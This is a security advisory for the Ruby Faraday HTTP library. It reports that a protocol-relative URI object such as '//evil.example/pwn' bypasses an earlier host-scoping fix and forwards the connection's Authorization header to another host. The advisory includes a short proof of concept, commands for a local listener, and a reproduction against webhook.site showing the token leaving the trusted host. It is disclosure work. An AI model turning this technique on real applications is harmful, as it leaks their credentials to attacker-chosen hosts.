GHSA-5rv5-xj5j-3484Low

Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping

Published
May 18, 2026
Last Modified
May 18, 2026

🔗 CVE IDs covered (1)

📋 Description

## Summary `Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`. ## Affected Component - **Repository File(s)/Endpoint(s)**: - `lib/faraday/connection.rb` - `lib/faraday/request.rb` - `spec/faraday/connection_spec.rb` - `spec/faraday/request_spec.rb` - **Function(s)**: - `Faraday::Connection#build_exclusive_url` - `Faraday::Connection#run_request` - `Faraday::Request#url` - `Faraday::Request#to_env` - **Version(s) Tested**: - `Faraday 2.14.1` - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca` ## Attacker Profile - **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection - **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)` - **Capability**: Control over a protocol-relative URI such as `URI("//evil.example/pwn")` ## Steps to Reproduce 1. Use the current repository checkout and load Faraday from `lib/`. 2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`. 3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host. 4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request. ### Verification Evidence - **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca` - **Commands executed**: ```bash $ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start' $ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body' ``` - **PoC code** (inline): ```ruby require "faraday" require "faraday/net_http" conn = Faraday.new(url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" }) { |f| f.adapter :net_http } target = ["//127.0.0.1:4567", "/pwn"].join resp = conn.get(URI(target)) puts resp.status puts resp.body ``` - **Exit code**: `0` - **stdout** (relevant excerpt): ```text 200 host=127.0.0.1 auth=Bearer secret-token path=/pwn ``` - **stderr** (relevant excerpt): ```text N/A ``` - **Artifacts**: none ### Additional External Confirmation The issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter: ```ruby require "faraday" require "faraday/net_http" conn = Faraday.new( url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" } ) { |f| f.adapter :net_http } target = ["//webhook.site", "/<collector-id>"].join resp = conn.get(URI(target)) resp.status # => 200 resp.url.host # => "webhook.site" ``` This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage. ## Supporting Materials - Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2` - Existing CVE for the original string-based issue: `CVE-2026-25765` - Existing regression tests for the string-only fix: - `spec/faraday/connection_spec.rb:314-345` - Existing test proving supported `URI` request input: - `spec/faraday/request_spec.rb:26-31` ## Impact The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

🎯 Affected products1

  • rubygems/faraday:>= 2.0.0, <= 2.14.1

🔗 References (3)